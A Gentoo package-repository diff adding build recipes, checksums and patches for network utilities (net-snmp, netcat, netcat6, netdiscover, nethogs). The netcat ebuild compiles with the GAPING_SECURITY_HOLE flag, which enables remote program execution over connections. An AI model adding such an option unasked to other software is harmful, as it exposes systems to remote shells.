+ $(use_with rpm) \
+ $(use_with ssl openssl) \
+ $(use_with tcpd libwrap) \
+ $(use_with zlib) \
+ --enable-shared --disable-static \
+ --with-default-snmp-version="3" \
+ --with-install-prefix="${D}" \
+ --with-ldflags="${LDFLAGS}" \
+ --with-logfile="/var/log/net-snmpd.log" \
+ --with-mib-modules="${mibs}" \
+ --with-persistent-directory="/var/lib/net-snmp" \
+ --with-sys-contact="root@Unknown" \
+ --with-sys-location="Unknown"
+}
+
+src_compile() {
+ emake \
+ OTHERLDFLAGS="${LDFLAGS}" \
+ sedscript all
+
+ use doc && emake docsdox
+}
+
+src_install () {
+ # bug #317965
+ emake -j1 DESTDIR="${D}" install
+
+ if use perl ; then
+ perl_delete_localpod
+ if ! use X; then
+ rm "${D}"/usr/bin/tkmib || die
+ fi
+ else
+ rm -f \
+ "${D}"/usr/bin/fixproc \
+ "${D}"/usr/bin/ipf-mod.pl \
+ "${D}"/usr/bin/mib2c \
+ "${D}"/usr/bin/net-snmp-cert \
+ "${D}"/usr/bin/snmp-bridge-mib \
+ "${D}"/usr/bin/snmpcheck \
+ "${D}"/usr/bin/snmpconf \
+ "${D}"/usr/bin/tkmib \
+ "${D}"/usr/bin/traptoemail \
+ "${D}"/usr/share/snmp/mib2c.perl.conf \
+ "${D}"/usr/share/snmp/snmp_perl_trapd.pl \
+ || die
+ fi
+
+ dodoc AGENT.txt ChangeLog FAQ INSTALL NEWS PORTING README* TODO
+ newdoc EXAMPLE.conf.def EXAMPLE.conf
+
+ use doc && dohtml docs/html/*
+
+ keepdir /var/lib/net-snmp
+
+ newinitd "${FILESDIR}"/snmpd.init.2 snmpd
+ newconfd "${FILESDIR}"/snmpd.conf snmpd
+
+ newinitd "${FILESDIR}"/snmptrapd.init.2 snmptrapd
+ newconfd "${FILESDIR}"/snmptrapd.conf snmptrapd
+
+ systemd_dounit "${FILESDIR}"/snmpd.service
+ systemd_dounit "${FILESDIR}"/snmptrapd.service
+
+ insinto /etc/snmp
+ newins "${S}"/EXAMPLE.conf snmpd.conf.example
+
+ # Remove everything not required for an agent.
+ # Keep only the snmpd, snmptrapd, MIBs, headers and libraries.
+ if use minimal; then
+ rm -rf \
+ "${D}"/**/*.pl \
+ "${D}"/usr/bin/{encode_keychange,snmp{get,getnext,set,usm,walk,bulkwalk,table,trap,bulkget,translate,status,delta,test,df,vacm,netstat,inform,check,conf},fixproc,traptoemail} \
+ "${D}"/usr/share/snmp/*.conf \
+ "${D}"/usr/share/snmp/snmpconf-data \
+ || die
+ fi
+}
diff --git a/net-analyzer/netcat/Manifest b/net-analyzer/netcat/Manifest
new file mode 100644
index 000000000000..697b211801d0
--- /dev/null
+++ b/net-analyzer/netcat/Manifest
@@ -0,0 +1,3 @@
+DIST nc-v6-20000918.patch.gz 8740 SHA256 7f0d5d05f4ed98f61f7efb167ef29cb25aa71e0df42c1f0cc8472e1ed660cb9a SHA512 56326fc7c40ea676173f150842367ea1782e700de682d790bb0f2c0df86e72a30f4c3ea0d937deb9d92f5eed47d2d4cb53edaca7dd23eb394a498b2f424bb2fe WHIRLPOOL 15fcbb4797900eab97e49b29a2a7a3e29ae449079a52c8bccf2b515c35fe22247105bbdb935c216925d184523e91b9d4d0c49d25c88a911b22bebdfba51135c7
+DIST nc110.tgz 75267 SHA256 5b3fda14e972d908896a605293f4634a72e2968278117410e12d8b3faf9a3976 SHA512 c9a7f5045f76d9ffef4e83fcc3e82f69ac4eb05e061686db51e9367949bfe0b90226b290a059dc68dcf3bf2040b95b5c78545199674da57a7c73e2f9145cf812 WHIRLPOOL 55c941d5996f3069fb5e76c6abedc9cd361dd44d404ddadf63422d3c5611c3b7e9459c58186a5b69aead7306f0842904005c08d0fb815bfbb452fc0f2c9b2b65
+DIST netcat-110-patches-1.0.tar.bz2 25751 SHA256 809517592616b4ca81c7b49541faa6a252ceb93384886d99b83163e9feeca96c SHA512 b9e7e35aa7e26d30f0115d87aff34fd0cadfad99fdb77cc5aa3ba51bec331f632e180484927c4368172ee9cc6c996b8691bd19bad8806912d8820158a98eab46 WHIRLPOOL 3e86f5bb92a905a1347c8af38db76e9c68d72757488dc153e4d1715cf825c4f1ecb74c67138238de4b31fbfe240511b81e495af3d7059fdf9c93c8ae731f476c
diff --git a/net-analyzer/netcat/metadata.xml b/net-analyzer/netcat/metadata.xml
new file mode 100644
index 000000000000..82bb1b15a784
--- /dev/null
+++ b/net-analyzer/netcat/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>vapier@gentoo.org</email>
+ </maintainer>
+ <longdescription>the network swiss army knife</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">nc110</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/netcat/netcat-110-r9.ebuild b/net-analyzer/netcat/netcat-110-r9.ebuild
new file mode 100644
index 000000000000..3e52f24b61d5
--- /dev/null
+++ b/net-analyzer/netcat/netcat-110-r9.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs flag-o-matic
+
+PATCH_VER="1.0"
+MY_P=nc${PV}
+DESCRIPTION="the network swiss army knife"
+HOMEPAGE="http://nc110.sourceforge.net/"
+SRC_URI="mirror://sourceforge/nc110/${MY_P}.tgz
+ ftp://sith.mimuw.edu.pl/pub/users/baggins/IPv6/nc-v6-20000918.patch.gz
+ mirror://gentoo/${P}-patches-${PATCH_VER}.tar.bz2"
+
+LICENSE="netcat"
+SLOT="0"
+KEYWORDS="alpha amd64 arm arm64 hppa ia64 m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos ~sparc64-solaris ~x64-solaris"
+IUSE="crypt ipv6 static"
+
+LIB_DEPEND="crypt? ( dev-libs/libmix[static-libs(+)] )"
+RDEPEND="!static? ( ${LIB_DEPEND//\[static-libs(+)]} )"
+DEPEND="${RDEPEND}
+ static? ( ${LIB_DEPEND} )"
+
+S=${WORKDIR}
+
+src_prepare() {
+ epatch "${DISTDIR}"/nc-v6-20000918.patch.gz patch
+ sed -i 's:#define HAVE_BIND:#undef HAVE_BIND:' netcat.c
+ sed -i 's:#define FD_SETSIZE 16:#define FD_SETSIZE 1024:' netcat.c #34250
+ [[ ${CHOST} == *-solaris* ]] && \
+ sed -i 's:gethostbyname2(\([^)]\+\)):getipnodebyname(\1, AI_DEFAULT, NULL):' netcat.c
+}
+
+src_compile() {
+ export XLIBS=""
+ export XFLAGS="-DLINUX -DTELNET -DGAPING_SECURITY_HOLE"
+ use ipv6 && XFLAGS="${XFLAGS} -DINET6"
+ use static && export STATIC="-static"
+ use crypt && XFLAGS="${XFLAGS} -DAESCRYPT" && XLIBS="${XLIBS} -lmix"
+ [[ ${CHOST} == *-solaris* ]] && XLIBS="${XLIBS} -lnsl -lsocket"
+ emake -e CC="$(tc-getCC) ${CFLAGS} ${LDFLAGS}" nc
+}
+
+src_install() {
+ dobin nc
+ dodoc README* netcat.blurb debian-*
+ doman nc.1
+ docinto scripts
+ dodoc scripts/*
+}
diff --git a/net-analyzer/netcat6/Manifest b/net-analyzer/netcat6/Manifest
new file mode 100644
index 000000000000..ff13a465055a
--- /dev/null
+++ b/net-analyzer/netcat6/Manifest
@@ -0,0 +1 @@
+DIST nc6-1.0.tar.bz2 264257 SHA256 eb35e7a05a60bf94496075a3a246d7bf63fcdba2ca7ceb6844852a1ff6478206 SHA512 199f3bd18bb452544da8ca1b0f5347f79662bea81e9af335a41ed62c12d5d8cb41d99442ca54f301538d27aec4ada5f59db87461e5b0f20333ba1b52859bd35a WHIRLPOOL e3ad61617daa705efc4a459c96a6e020eb30d6e38be367c5014fa2b8706de53502348ce6995e7804c60e6c4b8cfefc21a50a00987cdb33b9ae2d336d294bbf80
diff --git a/net-analyzer/netcat6/files/netcat6-1.0-automake-1.14.patch b/net-analyzer/netcat6/files/netcat6-1.0-automake-1.14.patch
new file mode 100644
index 000000000000..f7c128590be8
--- /dev/null
+++ b/net-analyzer/netcat6/files/netcat6-1.0-automake-1.14.patch
@@ -0,0 +1,14 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -2,9 +2,9 @@
+ AC_INIT(nc6, 1.0, [ds6-devel@deepspace6.net])
+ AC_CONFIG_AUX_DIR(config)
+ AC_CONFIG_SRCDIR(src/main.c)
+-AM_GNU_GETTEXT_VERSION(0.14.1)
+ AM_INIT_AUTOMAKE(1.6) dnl Automake 1.6 or better is required
+-AM_CONFIG_HEADER(config.h)
++AM_GNU_GETTEXT_VERSION(0.14.1)
++AC_CONFIG_HEADERS(config.h)
+ AC_PREREQ(2.52) dnl Autoconf 2.52 or better is required
+
+
diff --git a/net-analyzer/netcat6/files/netcat6-1.0-unix-sockets.patch b/net-analyzer/netcat6/files/netcat6-1.0-unix-sockets.patch
new file mode 100644
index 000000000000..5ab0ece124f1
--- /dev/null
+++ b/net-analyzer/netcat6/files/netcat6-1.0-unix-sockets.patch
@@ -0,0 +1,303 @@
+--- a/docs/nc6.1.in
++++ b/docs/nc6.1.in
+@@ -160,6 +160,10 @@
+ With this option set, netcat6 will use UDP as the transport protocol (TCP is
+ the default).
+ .TP 13
++.I \-U, --unix
++With this option set, netcat6 will connect to a unix domain socket.
++The listen mode has not been implemented yet.
++.TP 13
+ .I \-v
+ Enable verbose mode. This gives some basic information about what netcat6
+ is doing. Use it twice for extra verbosity.
+
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -6,6 +6,7 @@
+ network.h \
+ afindep.h \
+ bluez.h \
++ unixsocket.h \
+ netsupport.h \
+ parser.h \
+ readwrite.h \
+@@ -20,6 +21,7 @@
+ afindep.c \
+ netsupport.c \
+ parser.c \
++ unixsocket.c \
+ readwrite.c \
+ io_stream.c \
+ connection.c
+
+--- a/src/connection.c
++++ b/src/connection.c
+@@ -109,6 +109,9 @@
+ fatal_internal("unavailable bluez support required");
+ #endif
+ break;
++ case PROTO_UNIX:
++ ainfo->ai_family = PF_UNIX;
++ break;
+ default:
+ fatal_internal("unknown socket domain");
+ }
+@@ -144,6 +147,10 @@
+ fatal_internal("unavailable bluez support required");
+ #endif
+ break;
++ case UNIX_PROTOCOL:
++ ainfo->ai_protocol = 0;
++ ainfo->ai_socktype = SOCK_STREAM;
++ break;
+ default:
+ fatal_internal("unknown socket type");
+ }
+
+--- a/src/connection.h
++++ b/src/connection.h 2008-10-25 14:17:09 +0000
+@@ -31,12 +31,14 @@
+ PROTO_UNSPECIFIED,
+ PROTO_IPv6,
+ PROTO_IPv4,
++ PROTO_UNIX,
+ PROTO_BLUEZ
+ } sock_family_t;
+
+ typedef enum sock_protocol {
+ TCP_PROTOCOL,
+ UDP_PROTOCOL,
++ UNIX_PROTOCOL,
+ SCO_PROTOCOL,
+ L2CAP_PROTOCOL
+ } sock_protocol_t;
+
+--- a/src/network.c
++++ b/src/network.c
+@@ -23,6 +23,7 @@
+ #include "network.h"
+ #include "connection.h"
+ #include "afindep.h"
++#include "unixsocket.h"
+ #ifdef ENABLE_BLUEZ
+ #include "bluez.h"
+ #endif/*ENABLE_BLUEZ*/
+@@ -113,6 +114,11 @@
+
+ /* invoke the appropriate connector for the protocol family */
+ switch (ca_family(attrs)) {
++ case PROTO_UNIX:
++ fd = unixsocket_connect(&hints,
++ remote->address,
++ timeout, &socktype);
++ break;
+ #ifdef ENABLE_BLUEZ
+ case PROTO_BLUEZ:
+ fd = bluez_connect(&hints,
+
+--- a/src/parser.c
++++ b/src/parser.c
+@@ -109,7 +109,9 @@
+ {"bluetooth", no_argument, NULL, 'b'},
+ #define OPT_SCO 24
+ {"sco", no_argument, NULL, 0 },
+-#define OPT_MAX 25
++#define OPT_UNIX_SOCKET 25
++ {"unix", no_argument, NULL, 'U'},
++#define OPT_MAX 26
+ {0, 0, 0, 0}
+ };
+
+@@ -160,7 +162,7 @@
+ _verbosity_level = 0;
+
+ /* option recognition loop */
+- while ((c = getopt_long(argc, argv, "46be:hlnp:q:s:uvw:xX",
++ while ((c = getopt_long(argc, argv, "46be:hlnp:q:s:uUvw:xX",
+ long_options, &option_index)) >= 0)
+ {
+ switch (c) {
+@@ -231,6 +233,9 @@
+ family = PROTO_IPv6;
+ ca_set_flag(attrs, CA_STRICT_IPV6);
+ break;
++ case 'U':
++ family = PROTO_UNIX;
++ break;
+ case 'b':
+ family = PROTO_BLUEZ;
+ break;
+@@ -330,6 +335,9 @@
+ /* set default protocols */
+ if (protocol == PROTO_UNSPECIFIED) {
+ switch (family) {
++ case PROTO_UNIX:
++ protocol = UNIX_PROTOCOL;
++ break;
+ case PROTO_BLUEZ:
+ protocol = L2CAP_PROTOCOL;
+ break;
+@@ -344,6 +352,11 @@
+ fatal(_("cannot specify UDP protocol and bluetooth"));
+ if (protocol == SCO_PROTOCOL && family != PROTO_BLUEZ)
+ fatal(_("--sco requires --bluetooth (-b)"));
++ if (protocol == UNIX_PROTOCOL && family != PROTO_UNIX)
++ fatal(_("--unix does not need protocol specifications"));
++
++ if (family == PROTO_UNIX && listen_mode)
++ fatal(_("--unix cannot --listen yet"));
+
+ /* check compiled options */
+ #ifndef ENABLE_BLUEZ
+@@ -380,6 +393,10 @@
+ fatal_internal("unknown/unsupported bluetooth "
+ "protocol %d", protocol);
+ break;
++ case PROTO_UNIX:
++ if (protocol != UNIX_PROTOCOL)
++ fatal_internal("unknown/unsupported UNIX protocol %d", protocol);
++ break;
+ default:
+ fatal_internal("invalid protocol family %d", family);
+ }
+@@ -425,18 +442,18 @@
+ fatal(_("cannot set both --recv-only and --send-only"));
+ }
+
+- /* check ports have not been specified with --sco */
+- if (protocol == SCO_PROTOCOL) {
++ /* check ports have not been specified with --sco and --unix */
++ if (protocol == SCO_PROTOCOL || protocol == UNIX_PROTOCOL) {
+ if (remote_address.service != NULL)
+- fatal(_("--sco does not support remote port"));
++ fatal(_("--sco and --unix do not support remote port"));
+ if (local_address.service != NULL)
+- fatal(_("--sco does not support local port (-p)"));
++ fatal(_("--sco and --unix do not support local port (-p)"));
+ }
+
+ /* check mode specific option availability and interactions */
+ if (listen_mode == true) {
+ /* check port has been specified (except with sco) */
+- if (local_address.service == NULL && protocol != SCO_PROTOCOL) {
++ if (local_address.service == NULL && protocol != SCO_PROTOCOL && protocol != UNIX_PROTOCOL) {
+ fatal(_("in listen mode you must specify a port "
+ "with the -p switch"));
+ }
+@@ -450,6 +467,7 @@
+ /* check port has been specified (except with sco) */
+ if (remote_address.address == NULL ||
+ (remote_address.service == NULL &&
++ protocol != UNIX_PROTOCOL &&
+ protocol != SCO_PROTOCOL))
+ {
+ fatal(_("you must specify the address/port couple "
+@@ -553,6 +571,8 @@
+ fprintf(fp, " -6 %s\n", _("Use only IPv6"));
+ fprintf(fp, " -b, --bluetooth %s\n",
+ _("Use Bluetooth (defaults to L2CAP protocol)"));
++ fprintf(fp, " -U, --unix %s\n",
++ _("Connect to unix domain sockets"));
+ fprintf(fp, " --buffer-size=BYTES %s\n", _("Set buffer size"));
+ fprintf(fp, " --continuous %s\n",
+ _("Continuously accept connections\n"
+
+--- a/src/unixsocket.c
++++ b/src/unixsocket.c
+@@ -0,0 +1,78 @@
++/*
++ * unixsocket.c - address family independant networking functions
++ */
++#include "system.h"
++#include "unixsocket.h"
++#include "misc.h"
++#include "netsupport.h"
++#include "parser.h"
++
++#include <assert.h>
++#include <errno.h>
++#include <string.h>
++#include <stdlib.h>
++#include <sys/types.h>
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <unistd.h>
++#include <limits.h>
++
++RCSID("@(#) $Id$");
++
++
++int unixsocket_connect(const struct addrinfo *hints,
++ const char *remote_address,
++ time_t timeout, int *rt_socktype)
++{
++ int err, fd = -1;
++ struct sockaddr_un sa;
++ const struct addrinfo *ptr = hints;
++
++ /* make sure arguments are valid and preconditions are respected */
++ assert(hints != NULL);
++ assert(remote_address != NULL && strlen(remote_address) > 0);
++ assert(sizeof(sa.sun_path) >= strlen(remote_address));
++
++ sa.sun_family = ptr->ai_family;
++ strncpy(sa.sun_path, remote_address, sizeof(sa.sun_path));
++
++
++ /* create the socket */
++ fd = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
++ if (fd < 0) {
++ warning("cannot create the socket: %s", strerror(errno));
++ return -1;
++ }
++
++ /* attempt the connection */
++ err = connect_with_timeout(fd, (struct sockaddr *)&sa, sizeof(sa), timeout);
++
++ if (err != 0)
++ {
++ /* check error code */
++ if (verbose_mode()) {
++ /* use different error message for timeout */
++ if (errno == ETIMEDOUT) {
++ /* connection timed out */
++ warning(_("timeout while connecting to %s"), remote_address);
++ }
++ else {
++ /* connection failed */
++ warning(_("cannot connect to %s: %s"), remote_address, strerror(errno));
++ }
++ }
++ close(fd);
++ return -1;
++ }
++
++ assert(ptr == NULL || fd >= 0);
++
++ /* let the user know the connection has been established */
++ if (verbose_mode()) warning(_("%s open"), remote_address);
++
++ /* return the socktype */
++ if (rt_socktype != NULL) *rt_socktype = ptr->ai_socktype;
++
++ return fd;
++}
++
+
+--- a/src/unixsocket.h
++++ b/src/unixsocket.h
+@@ -0,0 +1,12 @@
++#ifndef UNIXSOCKET_H
++#define UNIXSOCKET_H
++
++#include <netdb.h>
++#include <sys/types.h>
++
++/* establish a connection and return a new fd and socktype */
++int unixsocket_connect(const struct addrinfo *hints,
++ const char *remote_address,
++ time_t timeout, int *socktype);
++
++#endif
+
diff --git a/net-analyzer/netcat6/metadata.xml b/net-analyzer/netcat6/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/netcat6/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/netcat6/netcat6-1.0-r2.ebuild b/net-analyzer/netcat6/netcat6-1.0-r2.ebuild
new file mode 100644
index 000000000000..e2a289a62e57
--- /dev/null
+++ b/net-analyzer/netcat6/netcat6-1.0-r2.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils autotools toolchain-funcs
+
+DESCRIPTION="netcat clone with better IPv6 support, improved code, etc..."
+HOMEPAGE="http://netcat6.sourceforge.net/"
+SRC_URI="ftp://ftp.deepspace6.net/pub/ds6/sources/nc6/nc6-${PV}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 m68k ~mips ppc ~ppc64 s390 sh sparc x86 ~amd64-linux ~arm-linux ~x86-linux"
+IUSE="ipv6 nls bluetooth"
+
+# need to block netcat as we provide the "nc" file now too
+DEPEND="
+ bluetooth? ( net-wireless/bluez )
+"
+RDEPEND="
+ ${DEPEND}
+ !net-analyzer/netcat
+"
+
+S=${WORKDIR}/nc6-${PV}
+
+DOCS=( AUTHORS BUGS README NEWS TODO CREDITS ChangeLog )
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-unix-sockets.patch \
+ "${FILESDIR}"/${P}-automake-1.14.patch
+ AM_OPTS="--force-missing" eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable bluetooth bluez) \
+ $(use_enable nls)
+}
+
+src_compile() {
+ emake AR=$(tc-getAR)
+}
+
+src_install() {
+ default
+ dodir /usr/bin
+ dosym /usr/bin/nc6 /usr/bin/nc
+}
diff --git a/net-analyzer/netdiscover/Manifest b/net-analyzer/netdiscover/Manifest
new file mode 100644
index 000000000000..6e9b9a519ffe
--- /dev/null
+++ b/net-analyzer/netdiscover/Manifest
@@ -0,0 +1,2 @@
+DIST netdiscover-0.3-beta6-oui-db-update-20091010.patch.bz2 151434 SHA256 81d06920e0606ec74a497ca4b34b0288572b9be82093bc19e3b812c036fba9f6 SHA512 936f030bac30cf54d1b9b6bb23045c2cad201a21529706436ab0732c356dc4ab27e3f2a8472437f9ac76d9b819ebc6d8faa05405be13d3d6beda5e261ebf93da WHIRLPOOL fe95a550fa41aedb75bad90cbfebe1b14c63b6f1d1edc2caf82a689bc2740d65b07836701e6f1e8e541eabbd3c35c432ba3a8e771d89f5b4e3e6812f835e6fdb
+DIST netdiscover-0.3-beta6.tar.gz 411018 SHA256 19c367f823c49999e2c05c485cac0a5d5685d23c6b33deae1e957406571924db SHA512 b8205322c34684642d52bf58f8fffa12a0dea387da713caf2935ba348c74b2e6cac717bf1626c9de816e45dce7c42b6b9584b5253351040af806f7ba262ce4d2 WHIRLPOOL 9386451a26a3fb147aadd772bfc71c89cc67185c54c24b306fc421b43799f00402ff383c96944945b06baf90ad22ff409dc0c57a4370b98a20a89951595310fb
diff --git a/net-analyzer/netdiscover/files/netdiscover-0.3_beta6-gentoo.patch b/net-analyzer/netdiscover/files/netdiscover-0.3_beta6-gentoo.patch
new file mode 100644
index 000000000000..d70fc36de5a5
--- /dev/null
+++ b/net-analyzer/netdiscover/files/netdiscover-0.3_beta6-gentoo.patch
@@ -0,0 +1,41 @@
+--- a/configure.in
++++ b/configure.in
+@@ -5,7 +5,7 @@
+
+ AC_INIT(configure.in)
+ AM_INIT_AUTOMAKE(netdiscover, 0.3-beta6)
+-AM_CONFIG_HEADER(config.h)
++AC_CONFIG_HEADERS(config.h)
+ AM_MAINTAINER_MODE
+
+ dnl get system information
+@@ -35,7 +35,6 @@
+
+ AC_ISC_POSIX
+ AC_PROG_CC
+-AM_PROG_CC_STDC
+ AC_HEADER_STDC
+
+ AM_PROG_LIBTOOL
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -5,8 +5,8 @@
+
+ SUBDIRS = src doc
+
+-netdiscoverdocdir = ${prefix}/doc/netdiscover
+-netdiscoverdoc_DATA = \
++noinstdir = ${prefix}/doc/netdiscover
++noinst_DATA = \
+ README\
+ COPYING\
+ AUTHORS\
+@@ -15,7 +15,7 @@
+ NEWS\
+ TODO
+
+-EXTRA_DIST = $(netdiscoverdoc_DATA)
++EXTRA_DIST = $(noinst_DATA)
+
+
+
diff --git a/net-analyzer/netdiscover/files/netdiscover-0.3_beta6-misc.patch b/net-analyzer/netdiscover/files/netdiscover-0.3_beta6-misc.patch
new file mode 100644
index 000000000000..2b92bfde8629
--- /dev/null
+++ b/net-analyzer/netdiscover/files/netdiscover-0.3_beta6-misc.patch
@@ -0,0 +1,20 @@
+--- a/src/misc.c
++++ b/src/misc.c
+@@ -33,7 +33,7 @@
+
+ char *search_vendor(unsigned char mac[6])
+ {
+- char tmac[6];
++ char tmac[7];
+ int i = 0;
+
+ sprintf(tmac, "%02x%02x%02x", mac[0], mac[1], mac[2]);
+@@ -42,7 +42,7 @@
+ for (i=0; i<6; i++)
+ tmac[i] = toupper(tmac[i]);
+
+- for (i=0; i<8436; i++)
++ for (i=0; i<NUM_OUI_RECORDS; i++)
+ {
+ if (strcmp(oui_table[i].prefix, tmac) == 0)
+ return oui_table[i].vendor;
diff --git a/net-analyzer/netdiscover/metadata.xml b/net-analyzer/netdiscover/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/netdiscover/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/netdiscover/netdiscover-0.3_beta6-r3.ebuild b/net-analyzer/netdiscover/netdiscover-0.3_beta6-r3.ebuild
new file mode 100644
index 000000000000..8e1333ad2d91
--- /dev/null
+++ b/net-analyzer/netdiscover/netdiscover-0.3_beta6-r3.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils autotools
+
+DESCRIPTION="An active/passive address reconnaissance tool"
+HOMEPAGE="http://nixgeneration.com/~jaime/netdiscover/"
+LICENSE="GPL-2"
+SRC_URI="
+ http://nixgeneration.com/~jaime/${PN}/releases/${P/_/-}.tar.gz
+ https://dev.gentoo.org/~jer/${P/_/-}-oui-db-update-20091010.patch.bz2
+"
+
+SLOT="0"
+KEYWORDS="~amd64 ~sparc ~x86 ~amd64-linux ~x86-linux ~x86-macos"
+
+DEPEND="
+ net-libs/libnet:1.1
+ >=net-libs/libpcap-0.8.3-r1
+"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/${P/_/-}
+
+DOCS=( AUTHORS ChangeLog README TODO )
+
+src_prepare() {
+ epatch \
+ "${WORKDIR}"/${P/_/-}-oui-db-update-20091010.patch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-misc.patch
+
+ eautoreconf
+}
diff --git a/net-analyzer/nethogs/Manifest b/net-analyzer/nethogs/Manifest
new file mode 100644
index 000000000000..27b656dec1ad
--- /dev/null
+++ b/net-analyzer/nethogs/Manifest
@@ -0,0 +1 @@
+DIST nethogs-0.8.0.tar.gz 38036 SHA256 b09cb3c2690a522f8b1314221095d5abb1958d50b56de6d36b11a8e6f28961d0 SHA512 6530c1bdbdf1ace7368941e8e0e53a83ac808bbea7a952936fa570ad2d49e8b4cef6a37d433f1873655edfd63cce556146a48ff81665905827237edf50419446 WHIRLPOOL 1b7c7456e2c55df0be188a0858ee039f7fde52ae58554ca16f7b92f732735ad4e225341526f6c4d36051898160cb063dac6fc4479ff1e3decabc9d62346dd3d5
diff --git a/net-analyzer/nethogs/files/nethogs-0.8.0-gentoo.patch b/net-analyzer/nethogs/files/nethogs-0.8.0-gentoo.patch
new file mode 100644
index 000000000000..292af8e4175b
--- /dev/null
+++ b/net-analyzer/nethogs/files/nethogs-0.8.0-gentoo.patch
@@ -0,0 +1,70 @@
+--- a/Makefile
++++ b/Makefile
+@@ -5,15 +5,17 @@
+ #DESTDIR := /usr
+ DESTDIR := /usr/local
+
+-sbin := $(DESTDIR)/sbin
+-man8 := $(DESTDIR)/share/man/man8/
++sbin := $(DESTDIR)/usr/sbin
++man8 := $(DESTDIR)/usr/share/man/man8/
+
+ all: nethogs decpcap_test
+ # nethogs_testsum
+
+-CFLAGS=-g -Wall -Wextra
+-#CFLAGS=-O2
++CXXFLAGS+= -Wall -Wextra
+ OBJS=packet.o connection.o process.o refresh.o decpcap.o cui.o inode2prog.o conninode.o devices.o
++
++LIBS = $(shell $(PKG_CONFIG) --libs ncurses)
++
+ .PHONY: tgz
+
+ tgz: clean
+@@ -30,33 +32,33 @@
+ install -m 644 nethogs.8 $(man8)
+
+ nethogs: nethogs.cpp $(OBJS)
+- $(CXX) $(CFLAGS) nethogs.cpp $(OBJS) -o nethogs -lpcap -lm -lncurses -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\"
++ $(CXX) $(CXXFLAGS) $(LDFLAGS) nethogs.cpp $(OBJS) -o nethogs -lpcap -lm $(LIBS) -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\"
+ nethogs_testsum: nethogs_testsum.cpp $(OBJS)
+- $(CXX) $(CFLAGS) -g nethogs_testsum.cpp $(OBJS) -o nethogs_testsum -lpcap -lm -lncurses -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\"
++ $(CXX) $(CXXFLAGS) $(LDFLAGS) -g nethogs_testsum.cpp $(OBJS) -o nethogs_testsum -lpcap -lm $(LIBS) -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\"
+
+ decpcap_test: decpcap_test.cpp decpcap.o
+- $(CXX) $(CFLAGS) decpcap_test.cpp decpcap.o -o decpcap_test -lpcap -lm
++ $(CXX) $(CXXFLAGS) $(LDFLAGS) decpcap_test.cpp decpcap.o -o decpcap_test -lpcap -lm
+
+ #-lefence
+
+ refresh.o: refresh.cpp refresh.h nethogs.h
+- $(CXX) $(CFLAGS) -c refresh.cpp
++ $(CXX) $(CXXFLAGS) -c refresh.cpp
+ process.o: process.cpp process.h nethogs.h
+- $(CXX) $(CFLAGS) -c process.cpp
++ $(CXX) $(CXXFLAGS) -c process.cpp
+ packet.o: packet.cpp packet.h nethogs.h
+- $(CXX) $(CFLAGS) -c packet.cpp
++ $(CXX) $(CXXFLAGS) -c packet.cpp
+ connection.o: connection.cpp connection.h nethogs.h
+- $(CXX) $(CFLAGS) -c connection.cpp
++ $(CXX) $(CXXFLAGS) -c connection.cpp
+ decpcap.o: decpcap.c decpcap.h
+- $(CC) $(CFLAGS) -c decpcap.c
++ $(CC) $(CXXFLAGS) -c decpcap.c
+ inode2prog.o: inode2prog.cpp inode2prog.h nethogs.h
+- $(CXX) $(CFLAGS) -c inode2prog.cpp
++ $(CXX) $(CXXFLAGS) -c inode2prog.cpp
+ conninode.o: conninode.cpp nethogs.h conninode.h
+- $(CXX) $(CFLAGS) -c conninode.cpp
++ $(CXX) $(CXXFLAGS) -c conninode.cpp
+ #devices.o: devices.cpp devices.h
+-# $(CXX) $(CFLAGS) -c devices.cpp
++# $(CXX) $(CXXFLAGS) -c devices.cpp
